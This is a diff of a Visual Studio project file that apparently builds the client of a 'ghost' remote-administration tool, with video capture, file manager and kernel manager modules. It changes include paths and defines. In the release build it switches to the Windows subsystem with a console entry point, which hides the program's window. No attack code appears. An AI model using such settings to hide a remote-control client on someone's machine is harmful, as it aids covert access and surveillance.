<PlatformToolset>v110_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
@@ -42,15 +43,19 @@
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IntDir>$(Configuration)\ghost</IntDir>
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IntDir>$(Configuration)\ghost</IntDir>
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
@@ -60,6 +65,9 @@
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
<EntryPointSymbol>
</EntryPointSymbol>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -69,8 +77,8 @@
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
@@ -79,6 +87,8 @@
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
@@ -88,7 +98,6 @@
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="CursorInfor.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="KernelManager.cpp" />
@@ -111,7 +120,7 @@
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfor.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="KernelManager.h" />
@@ -141,6 +150,10 @@
<ItemGroup>
<Media Include="Res\msg.wav" />
</ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
<Image Include="Res\msg.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>

Some files were not shown because too many files have changed in this diff Show More